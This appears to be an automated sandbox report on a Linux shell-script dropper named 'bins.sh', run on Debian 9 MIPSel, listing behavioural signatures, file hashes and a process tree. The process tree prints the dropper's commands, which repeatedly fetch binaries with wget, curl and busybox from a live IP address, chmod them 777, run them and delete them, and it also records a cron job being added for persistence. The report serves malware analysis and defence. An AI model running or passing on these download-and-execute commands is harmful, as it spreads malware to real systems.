Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

8

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    19/11/2024, 01:55

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241119-cb4avsymes
  • SHA256 e51e88e5779218a53250cdc2404b6664515c6ca70a827448aabba4fb4a819849
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1399) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:699
        • /usr/bin/wget
          wget http://216.126.231.240/bins/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • Writes file to tmp directory
          PID:701
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • Writes file to tmp directory
          PID:726
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • Writes file to tmp directory
          PID:727
        • /bin/chmod
          chmod 777 THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • File and Directory Permissions Modification
          PID:729
        • /tmp/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          ./THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • Writes file to tmp directory
            PID:778
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • Writes file to tmp directory
            PID:779
          • /bin/chmod
            chmod 777 dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • File and Directory Permissions Modification
            PID:780
          • /tmp/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            ./dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • Executes dropped EXE
            PID:782
          • /bin/rm
            rm dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
              PID:785
            • /usr/bin/wget
              wget http://216.126.231.240/bins/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • Writes file to tmp directory
              PID:787
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • Writes file to tmp directory
              PID:804
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • Writes file to tmp directory
              PID:816
            • /bin/chmod
              chmod 777 O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • File and Directory Permissions Modification
              PID:817
            • /tmp/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              ./O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • Executes dropped EXE
              PID:818
            • /bin/rm
              rm O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
                PID:820
              • /usr/bin/wget
                wget http://216.126.231.240/bins/rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                2⤵
                • Writes file to tmp directory
                PID:821
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                2⤵
                • Writes file to tmp directory
                PID:825
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                2⤵
                • Writes file to tmp directory
                PID:826
              • /bin/chmod
                chmod 777 rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                2⤵
                • File and Directory Permissions Modification
                PID:827
              • /tmp/rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                ./rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                2⤵
                • Executes dropped EXE
                PID:828
              • /bin/rm
                rm rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                2⤵
                  PID:830
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                  2⤵
                  • Writes file to tmp directory
                  PID:831
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                  2⤵
                  • Writes file to tmp directory
                  PID:832
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                  2⤵
                  • Writes file to tmp directory
                  PID:833
                • /bin/chmod
                  chmod 777 UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                  2⤵
                  • File and Directory Permissions Modification
                  PID:834
                • /tmp/UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                  ./UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                  2⤵
                  • Executes dropped EXE
                  PID:835
                • /bin/rm
                  rm UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                  2⤵
                    PID:837
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                    2⤵
                    • Writes file to tmp directory
                    PID:838
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                    2⤵
                    • Writes file to tmp directory
                    PID:839
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                    2⤵
                    • Writes file to tmp directory
                    PID:840
                  • /bin/chmod
                    chmod 777 gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:841
                  • /tmp/gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                    ./gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                    2⤵
                    • Executes dropped EXE
                    PID:842
                  • /bin/rm
                    rm gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                    2⤵
                      PID:844
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/BJUox2gIsBI7sL8S5F83lW5Nu3x5QCJqSc
                      2⤵
                      • Writes file to tmp directory
                      PID:845
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/BJUox2gIsBI7sL8S5F83lW5Nu3x5QCJqSc
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:846
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/BJUox2gIsBI7sL8S5F83lW5Nu3x5QCJqSc
                      2⤵
                      • Writes file to tmp directory
                      PID:847
                    • /bin/chmod
                      chmod 777 BJUox2gIsBI7sL8S5F83lW5Nu3x5QCJqSc
                      2⤵
                      • File and Directory Permissions Modification
                      PID:848
                    • /tmp/BJUox2gIsBI7sL8S5F83lW5Nu3x5QCJqSc
                      ./BJUox2gIsBI7sL8S5F83lW5Nu3x5QCJqSc
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:849
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:851
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:852
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:853
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:854
                          • /bin/rm
                            rm BJUox2gIsBI7sL8S5F83lW5Nu3x5QCJqSc
                            2⤵
                              PID:856
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/3YsjI5BxdwNggxF6y4NYCpzpTndvzhAORv
                              2⤵
                                PID:859
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/3YsjI5BxdwNggxF6y4NYCpzpTndvzhAORv
                                2⤵
                                  PID:860
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/3YsjI5BxdwNggxF6y4NYCpzpTndvzhAORv
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:861
                                • /bin/chmod
                                  chmod 777 3YsjI5BxdwNggxF6y4NYCpzpTndvzhAORv
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:942
                                • /tmp/3YsjI5BxdwNggxF6y4NYCpzpTndvzhAORv
                                  ./3YsjI5BxdwNggxF6y4NYCpzpTndvzhAORv
                                  2⤵
                                  • Executes dropped EXE
                                  PID:943
                                • /bin/rm
                                  rm 3YsjI5BxdwNggxF6y4NYCpzpTndvzhAORv
                                  2⤵
                                    PID:945
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/pgaMBzYn7aqyZGsctrzZ88VsEperOnMqZd
                                    2⤵
                                      PID:946
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/pgaMBzYn7aqyZGsctrzZ88VsEperOnMqZd
                                      2⤵
                                      • Reads runtime system information
                                      PID:947
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/pgaMBzYn7aqyZGsctrzZ88VsEperOnMqZd
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:948
                                    • /bin/chmod
                                      chmod 777 pgaMBzYn7aqyZGsctrzZ88VsEperOnMqZd
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:949
                                    • /tmp/pgaMBzYn7aqyZGsctrzZ88VsEperOnMqZd
                                      ./pgaMBzYn7aqyZGsctrzZ88VsEperOnMqZd
                                      2⤵
                                      • Executes dropped EXE
                                      PID:950
                                    • /bin/rm
                                      rm pgaMBzYn7aqyZGsctrzZ88VsEperOnMqZd
                                      2⤵
                                        PID:952
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/ffcEbBaAqOvhYwSL3QBxKMyCrSIz0bFPbp
                                        2⤵
                                          PID:953

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

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                                            Downloads

                                            3YsjI5BxdwNggxF6y4NYCpzpTndvzhAORv
                                            • Path /tmp/3YsjI5BxdwNggxF6y4NYCpzpTndvzhAORv
                                            • Size 99KB
                                            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            BJUox2gIsBI7sL8S5F83lW5Nu3x5QCJqSc
                                            • Path /tmp/BJUox2gIsBI7sL8S5F83lW5Nu3x5QCJqSc
                                            • Size 151KB
                                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
                                            • Path /tmp/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
                                            • Size 141KB
                                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
                                            • Path /tmp/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
                                            • Size 107KB
                                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                                            • Path /tmp/UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                                            • Size 151KB
                                            • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
                                            • Path /tmp/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
                                            • Size 112KB
                                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                                            • Path /tmp/gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                                            • Size 111KB
                                            • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            pgaMBzYn7aqyZGsctrzZ88VsEperOnMqZd
                                            • Path /tmp/pgaMBzYn7aqyZGsctrzZ88VsEperOnMqZd
                                            • Size 177KB
                                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                                            • Path /tmp/rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                                            • Size 119KB
                                            • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            tmp.vbY8Ls
                                            • Path /var/spool/cron/crontabs/tmp.vbY8Ls
                                            • Size 210B
                                            • SHA256 ad3d29c18b5ddbb9695b86112718d36d2e473fd196c5647f86f17bae77c03a2e
                                            • MD5 SHA1 SHA512
                                            Submit Download